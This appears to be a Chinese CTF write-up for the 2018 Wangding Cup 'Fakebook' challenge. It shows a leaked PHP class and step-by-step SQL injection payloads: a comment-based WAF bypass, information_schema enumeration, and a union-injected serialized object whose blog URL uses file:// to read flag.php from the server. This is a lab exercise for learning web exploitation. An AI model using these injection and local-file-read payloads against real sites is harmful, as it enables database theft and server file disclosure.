[网鼎杯 2018]Fakebook

扫描目录发现/robots.txt flag.php
在这里插入图片描述
发现备份文件下载下来

<?php


class UserInfo
{
    public $name = "tsz";
    public $age = 10;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}
?>

有类感觉会用到反序列化

在这里插入图片描述
发现no传参 进行注入点测试
no=1 and 1=1 \页面正常
no=1 and 1=2 \页面报错
no=1 order by 4 //页面正常
no=1 order by 5 //页面报错

no=1 union select 1,2,3,4 //有waf
no=1 union/**/select 1,2,3,4 绕过成功

no=-1 union//select 1,2,3,4 发现 2 处是回显位置
爆数据库
在这里插入图片描述
爆表名
no=-1 union/
/select 1,table_name,3,4 from information_schema.tables where table_schema=database()
爆列名
no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=“users”

看看data存了什么
no=-1 union/**/select 1,data,3,4 from users

发现一段序列化这正是我们注册时填入的信息
O:8:“UserInfo”:3:{s:4:“name”;s:3:“qcy”;s:3:“age”;i:11;s:4:“blog”;s:57:“https://blog.csdn.net/qq_45694932?spm=1001.2101.3001.5343”;}

我们将这个反序列化改一下来利用读取flag.php

payload:no=-1 union/**/select 1,2,3,'O:8:“UserInfo”:3:{s:4:“name”;s:3:“qcy”;s:3:“age”;i:11;s:4:“blog”;s:29:“file:///var/www/html/flag.php”;}'from users

这里为什么把构造的反序列化放入4位置是因为第四列存的是博客地址我们构造的读取源文件的代码是在博客地址内容里改的
然后查看源代码即可得到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值